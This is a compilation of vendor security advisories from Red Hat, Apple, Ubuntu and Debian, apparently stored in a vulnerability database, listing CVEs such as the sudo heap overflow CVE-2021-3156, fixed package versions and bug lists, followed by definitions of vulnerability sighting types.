images:\n\nRHEL-8-CNV-2.6\n=============kubevirt-cpu-node-labeller-container-v2.6.0-5\nkubevirt-cpu-model-nfd-plugin-container-v2.6.0-5\nnode-maintenance-operator-container-v2.6.0-13\nkubevirt-vmware-container-v2.6.0-5\nvirtio-win-container-v2.6.0-5\nkubevirt-kvm-info-nfd-plugin-container-v2.6.0-5\nbridge-marker-container-v2.6.0-9\nkubevirt-template-validator-container-v2.6.0-9\nkubevirt-v2v-conversion-container-v2.6.0-6\nkubemacpool-container-v2.6.0-13\nkubevirt-ssp-operator-container-v2.6.0-40\nhyperconverged-cluster-webhook-container-v2.6.0-73\nhyperconverged-cluster-operator-container-v2.6.0-73\novs-cni-plugin-container-v2.6.0-10\ncnv-containernetworking-plugins-container-v2.6.0-10\novs-cni-marker-container-v2.6.0-10\ncluster-network-addons-operator-container-v2.6.0-16\nhostpath-provisioner-container-v2.6.0-11\nhostpath-provisioner-operator-container-v2.6.0-14\nvm-import-virtv2v-container-v2.6.0-21\nkubernetes-nmstate-handler-container-v2.6.0-19\nvm-import-controller-container-v2.6.0-21\nvm-import-operator-container-v2.6.0-21\nvirt-api-container-v2.6.0-111\nvirt-controller-container-v2.6.0-111\nvirt-handler-container-v2.6.0-111\nvirt-operator-container-v2.6.0-111\nvirt-launcher-container-v2.6.0-111\ncnv-must-gather-container-v2.6.0-54\nvirt-cdi-importer-container-v2.6.0-24\nvirt-cdi-cloner-container-v2.6.0-24\nvirt-cdi-controller-container-v2.6.0-24\nvirt-cdi-uploadserver-container-v2.6.0-24\nvirt-cdi-apiserver-container-v2.6.0-24\nvirt-cdi-uploadproxy-container-v2.6.0-24\nvirt-cdi-operator-container-v2.6.0-24\nhco-bundle-registry-container-v2.6.0-582\n\nSecurity Fix(es):\n\n* golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows\nfor panic (CVE-2020-9283)\n\n* golang: crypto/ssh: crafted authentication request can lead to nil\npointer dereference (CVE-2020-29652)\n\n* gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index\nvalidation (CVE-2021-3121)\n\n* golang.org/x/text: possibility to trigger an infinite loop in\nencoding/unicode could lead to crash (CVE-2020-14040)\n\n* golang: data race in certain net/http servers including ReverseProxy can\nlead to DoS (CVE-2020-15586)\n\n* golang: ReadUvarint and ReadVarint can read an unlimited number of bytes\nfrom invalid inputs (CVE-2020-16845)\n\n* jwt-go: access restriction bypass vulnerability (CVE-2020-26160)\n\n* golang-github-gorilla-websocket: integer overflow leads to denial of\nservice (CVE-2020-27813)\n\n* golang: math/big: panic during recursive division of very large numbers\n(CVE-2020-28362)\n\n* containernetworking-cni: Arbitrary path injection via type field in CNI\nconfiguration (CVE-2021-20206)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):\n\n1732329 - Virtual Machine is missing documentation of its properties in yaml editor\n1783192 - Guest kernel panic when start RHEL6.10 guest with q35 machine type and virtio disk in cnv\n1791753 - [RFE] [SSP] Template validator should check validations in template\u0027s parent template\n1804533 - CVE-2020-9283 golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows for panic\n1848954 - KMP missing CA extensions in cabundle of mutatingwebhookconfiguration\n1848956 - KMP requires downtime for CA stabilization during certificate rotation\n1853652 - CVE-2020-14040 golang.org/x/text: possibility to trigger an infinite loop in encoding/unicode could lead to crash\n1853911 - VM with dot in network name fails to start with unclear message\n1854098 - NodeNetworkState on workers doesn\u0027t have \"status\" key due to nmstate-handler pod failure to run \"nmstatectl show\"\n1856347 - SR-IOV : Missing network name for sriov during vm setup\n1856953 - CVE-2020-15586 golang: data race in certain net/http servers including ReverseProxy can lead to DoS\n1859235 - Common Templates - after upgrade there are 2 common templates per each os-workload-flavor combination\n1860714 - No API information from `oc explain`\n1860992 - CNV upgrade - users are not removed from privileged SecurityContextConstraints\n1864577 - [v2v][RHV to CNV non migratable source VM fails to import to Ceph-rbd / File system due to overhead required for Filesystem\n1866593 - CDI is not handling vm disk clone\n1867099 - CVE-2020-16845 golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs\n1868817 - Container-native Virtualization 2.6.0 Images\n1873771 - Improve the VMCreationFailed error message caused by VM low memory\n1874812 - SR-IOV: Guest Agent expose link-local ipv6 address for sometime and then remove it\n1878499 - DV import doesn\u0027t recover from scratch space PVC deletion\n1879108 - Inconsistent naming of \"oc virt\" command in help text\n1881874 - openshift-cnv namespace is getting stuck if the user tries to delete it while CNV is running\n1883232 - Webscale: kubevirt/CNV datavolume importer pod inability to disable sidecar injection if namespace has sidecar injection enabled but VM Template does NOT\n1883371 - CVE-2020-26160 jwt-go: access restriction bypass vulnerability\n1885153 - [v2v][RHV to CNv VM import] Wrong Network mapping do not show a relevant error message\n1885418 - [openshift-cnv] issues with memory overhead calculation when limits are used\n1887398 - [openshift-cnv][CNV] nodes need to exist and be labeled first, *before* the NodeNetworkConfigurationPolicy is applied\n1889295 - [v2v][VMware to CNV VM import API] diskMappings: volumeMode Block is not passed on to PVC request. \n1891285 - Common templates and kubevirt-config cm - update machine-type\n1891440 - [v2v][VMware to CNV VM import API]Source VM with no network interface fail with unclear error\n1892227 - [SSP] cluster scoped resources are not being reconciled\n1893278 - openshift-virtualization-os-images namespace not seen by user\n1893646 - [HCO] Pod placement configuration - dry run is not performed for all the configuration stanza\n1894428 - Message for VMI not migratable is not clear enough\n1894824 - [v2v][VM import] Pick the smallest template for the imported VM, and not always Medium\n1894897 - [v2v][VMIO] VMimport CR is not reported as failed when target VM is deleted during the import\n1895414 - Virt-operator is accepting updates to the placement of its workload components even with running VMs\n1897635 - CVE-2020-28362 golang: math/big: panic during recursive division of very large numbers\n1898072 - Add Fedora33 to Fedora common templates\n1898840 - [v2v] VM import VMWare to CNV Import 63 chars vm name should not fail\n1899558 - CNV 2.6 - nmstate fails to set state\n1901480 - VM disk io can\u0027t worked if namespace have label kubemacpool\n1902046 - Not possible to edit CDIConfig (through CDI CR / CDIConfig)\n1902111 - CVE-2020-27813 golang-github-gorilla-websocket: integer overflow leads to denial of service\n1903014 - hco-webhook pod in CreateContainerError\n1903585 - [v2v] Windows 2012 VM imported from RHV goes into Windows repair mode\n1904797 - [VMIO][vmware] A migrated RHEL/Windows VM starts in emergency mode/safe mode when target storage is NFS and target namespace is NOT \"default\"\n1906199 - [CNV-2.5] CNV Tries to Install on Windows Workers\n1907151 - kubevirt version is not reported correctly via virtctl\n1907352 - VM/VMI link changes to `kubevirt.io~v1~VirtualMachineInstance` on CNV 2.6\n1907691 - [CNV] Configuring NodeNetworkConfigurationPolicy caused \"Internal error occurred\" for creating datavolume\n1907988 - VM loses dynamic IP address of its default interface after migration\n1908363 - Applying NodeNetworkConfigurationPolicy for different NIC than default disables br-ex bridge and nodes lose connectivity\n1908421 - [v2v] [VM import RHV to CNV] Windows imported VM boot failed: INACCESSIBLE BOOT DEVICE error\n1908883 - CVE-2020-29652 golang: crypto/ssh: crafted authentication request can lead to nil pointer dereference\n1909458 - [V2V][VMware to CNV VM import via api using VMIO] VM import to Ceph RBD/BLOCK fails on \"qemu-img: /data/disk.img\" error\n1910857 - Provide a mechanism to enable the HotplugVolumes feature gate via HCO\n1911118 - Windows VMI LiveMigration / shutdown fails on \u0027XML error: non unique alias detected: ua-\u0027)\n1911396 - Set networkInterfaceMultiqueue false in rhel 6 template for e1000e interface\n1911662 - el6 guests don\u0027t work properly if virtio bus is specified on various devices\n1912908 - Allow using \"scsi\" bus for disks in template validation\n1913248 - Creating vlan interface on top of a bond device via NodeNetworkConfigurationPolicy fails\n1913320 - Informative message needed with virtctl image-upload, that additional step is needed from the user\n1913717 - Users should have read permitions for golden images data volumes\n1913756 - Migrating to Ceph-RBD + Block fails when skipping zeroes\n1914177 - CNV does not preallocate blank file data volumes\n1914608 - Obsolete CPU models (kubevirt-cpu-plugin-configmap) are set on worker nodes\n1914947 - HPP golden images - DV shoudld not be created with WaitForFirstConsumer\n1917908 - [VMIO] vmimport pod fail to create when using ceph-rbd/block\n1917963 - [CNV 2.6] Unable to install CNV disconnected - requires kvm-info-nfd-plugin which is not mirrored\n1919391 - CVE-2021-20206 containernetworking-cni: Arbitrary path injection via type field in CNI configuration\n1920576 - HCO can report ready=true when it failed to create a CR for a component operator\n1920610 - e2e-aws-4.7-cnv consistently failing on Hyperconverged Cluster Operator\n1921650 - CVE-2021-3121 gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation\n1923979 - kubernetes-nmstate: nmstate-handler pod crashes when configuring bridge device using ip tool\n1927373 - NoExecute taint violates pdb; VMIs are not live migrated\n1931376 - VMs disconnected from nmstate-defined bridge after CNV-2.5.4-\u003eCNV-2.6.0 upgrade\n\n5. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2021-02-09-1 macOS Big Sur 11.2.1, macOS Catalina 10.15.7\nSupplemental Update, and macOS Mojave 10.14.6 Security Update\n2021-002\n\nmacOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental\nUpdate, and macOS Mojave 10.14.6 Security Update 2021-002 addresses\nthe following issues. Information about the security content is also\navailable at https://support.apple.com/HT212177. \n\nmacOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update*,\nmacOS Mojave 10.14.6 Security Update 2021-002\n\nIntel Graphics Driver\nAvailable for: macOS Big Sur 11.2, macOS Catalina 10.15.7\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: An out-of-bounds write was addressed with improved input\nvalidation. \nCVE-2021-1805: ABC Research s.r.o. working with Trend Micro Zero Day\nInitiative\n\nIntel Graphics Driver\nAvailable for: macOS Big Sur 11.2, macOS Catalina 10.15.7\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A race condition was addressed with additional\nvalidation. \nCVE-2021-1806: ABC Research s.r.o. working with Trend Micro Zero Day\nInitiative\n\nSudo\nAvailable for: macOS Big Sur 11.2, macOS Catalina 10.15.7, macOS\nMojave 10.14.6\nImpact: A local attacker may be able to elevate their privileges\nDescription: This issue was addressed by updating to sudo version\n1.9.5p2. \nCVE-2021-3156: Qualys\n\n* After installing this update, the build number for macOS Catalina\n10.15.7 is 19H524. ==========================================================================\nUbuntu Security Notice USN-4705-1\nJanuary 26, 2021\n\nsudo vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 20.10\n- Ubuntu 20.04 LTS\n- Ubuntu 18.04 LTS\n- Ubuntu 16.04 LTS\n\nSummary:\n\nSeveral security issues were fixed in Sudo. A local attacker could possibly use this issue to obtain unintended\naccess to the administrator account. (CVE-2021-3156)\n\nIt was discovered that the Sudo sudoedit utility incorrectly handled\nchecking directory permissions. A local attacker could possibly use this\nissue to bypass file permissions and determine if a directory exists or\nnot. (CVE-2021-23239)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 20.10:\n sudo 1.9.1-1ubuntu1.1\n sudo-ldap 1.9.1-1ubuntu1.1\n\nUbuntu 20.04 LTS:\n sudo 1.8.31-1ubuntu1.2\n sudo-ldap 1.8.31-1ubuntu1.2\n\nUbuntu 18.04 LTS:\n sudo 1.8.21p2-3ubuntu1.4\n sudo-ldap 1.8.21p2-3ubuntu1.4\n\nUbuntu 16.04 LTS:\n sudo 1.8.16-0ubuntu1.10\n sudo-ldap 1.8.16-0ubuntu1.10\n\nIn general, a standard system update will make all the necessary changes. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Important: sudo security update\nAdvisory ID: RHSA-2021:0223-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2021:0223\nIssue date: 2021-01-26\nCVE Names: CVE-2021-3156\n====================================================================\n1. Summary:\n\nAn update for sudo is now available for Red Hat Enterprise Linux 7.6\nExtended Update Support. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux ComputeNode EUS (v. 7.6) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional EUS (v. 7.6) - x86_64\nRed Hat Enterprise Linux Server EUS (v. 7.6) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional EUS (v. 7.6) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7) - aarch64, ppc64le, s390x\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - aarch64, ppc64le, s390x\n\n3. Description:\n\nThe sudo packages contain the sudo utility which allows system\nadministrators to provide certain users with the permission to execute\nprivileged commands, which are used for system management purposes, without\nhaving to log in as root. \n\nSecurity Fix(es):\n\n* sudo: Heap buffer overflow in argument parsing (CVE-2021-3156)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing\n\n6. Package List:\n\nRed Hat Enterprise Linux ComputeNode EUS (v. 7.6):\n\nSource:\nsudo-1.8.23-3.el7_6.2.src.rpm\n\nx86_64:\nsudo-1.8.23-3.el7_6.2.x86_64.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional EUS (v. 7.6):\n\nx86_64:\nsudo-debuginfo-1.8.23-3.el7_6.2.i686.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm\nsudo-devel-1.8.23-3.el7_6.2.i686.rpm\nsudo-devel-1.8.23-3.el7_6.2.x86_64.rpm\n\nRed Hat Enterprise Linux Server EUS (v. 7.6):\n\nSource:\nsudo-1.8.23-3.el7_6.2.src.rpm\n\nppc64:\nsudo-1.8.23-3.el7_6.2.ppc64.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64.rpm\n\nppc64le:\nsudo-1.8.23-3.el7_6.2.ppc64le.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm\n\ns390x:\nsudo-1.8.23-3.el7_6.2.s390x.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm\n\nx86_64:\nsudo-1.8.23-3.el7_6.2.x86_64.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm\n\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server (v. 7):\n\nSource:\nsudo-1.8.23-3.el7_6.2.src.rpm\n\naarch64:\nsudo-1.8.23-3.el7_6.2.aarch64.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.aarch64.rpm\n\nppc64le:\nsudo-1.8.23-3.el7_6.2.ppc64le.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm\n\ns390x:\nsudo-1.8.23-3.el7_6.2.s390x.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm\n\nRed Hat Enterprise Linux Server Optional EUS (v. 7.6):\n\nppc64:\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64.rpm\nsudo-devel-1.8.23-3.el7_6.2.ppc.rpm\nsudo-devel-1.8.23-3.el7_6.2.ppc64.rpm\n\nppc64le:\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm\nsudo-devel-1.8.23-3.el7_6.2.ppc64le.rpm\n\ns390x:\nsudo-debuginfo-1.8.23-3.el7_6.2.s390.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm\nsudo-devel-1.8.23-3.el7_6.2.s390.rpm\nsudo-devel-1.8.23-3.el7_6.2.s390x.rpm\n\nx86_64:\nsudo-debuginfo-1.8.23-3.el7_6.2.i686.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.x86_64.rpm\nsudo-devel-1.8.23-3.el7_6.2.i686.rpm\nsudo-devel-1.8.23-3.el7_6.2.x86_64.rpm\n\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):\n\naarch64:\nsudo-debuginfo-1.8.23-3.el7_6.2.aarch64.rpm\nsudo-devel-1.8.23-3.el7_6.2.aarch64.rpm\n\nppc64le:\nsudo-debuginfo-1.8.23-3.el7_6.2.ppc64le.rpm\nsudo-devel-1.8.23-3.el7_6.2.ppc64le.rpm\n\ns390x:\nsudo-debuginfo-1.8.23-3.el7_6.2.s390.rpm\nsudo-debuginfo-1.8.23-3.el7_6.2.s390x.rpm\nsudo-devel-1.8.23-3.el7_6.2.s390.rpm\nsudo-devel-1.8.23-3.el7_6.2.s390x.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2021-3156\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/security/vulnerabilities/RHSB-2021-002\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2021 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBYBCATtzjgjWX9erEAQiDkQ/8CyCFW0G3itmCMGwXsP5atS6Tgqc4zwbC\nofAgAgWoKKlwelFIMra1XlbcwSiqDKyxRvZVXiberbmvsecRShd7y29CMf75R2FO\nP7qGv5BY8BLX0zDwHHNTSCdX4EXoMi4OUUzmO4JEgys8Vc0QfLyEpQJbIPJaeE/C\nOI6niwwsSKeB06CjOpmHef/xoltdiCRkAJ84A3wBN8L603Lbl7Ou1PpomXFTmBpx\n1ZI+vHe+rGXLMLYsJOyZSi87spHiXX7ZUwHwf3LOpQvIEP3tTU7QVykAsB2nIWIh\nVVqjPwOeK4wxM1xn2DtBAeBE1m3QG9xBirIQosAUqh8v7coWyy+kNZxxnFKS8v5F\nZuQpsM2c0EbEcz7QL703in6m/1fG8oT6QI/K0PQvAQBlxt4XG0N1Shz1XfCa884z\n0xF5C31bd8tDOuakZNPg7ePLXpaZtyn/CZ5kyWIaSkMV5J1vYZIHPyJpb83QecUr\nc9vjQgD49kz2FzwJkGPcWAeqjBVFrRbE7TJQ8IAzkM08x6XeKuLp8sXixzhXzboy\n9TBb65s22fEiHlMCcqW62QJGELPDLSwVvjasnX0tzkSE5t6NYV6HDbHRYcHJEG2b\nBWwYRlTvgfK1sodYoCGs6IeJVD8nHIeflNgkn0WQIbOznJjmBjgXXGGdj0XPDDuD\nl3p+edOWn0U=GeG5\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. Any local user (sudoers and non-sudoers)\ncan exploit this flaw for root privilege escalation. \n\nFor the stable distribution (buster), this problem has been fixed in\nversion 1.8.27-1+deb10u3. \n\nWe recommend that you upgrade your sudo packages",
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- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.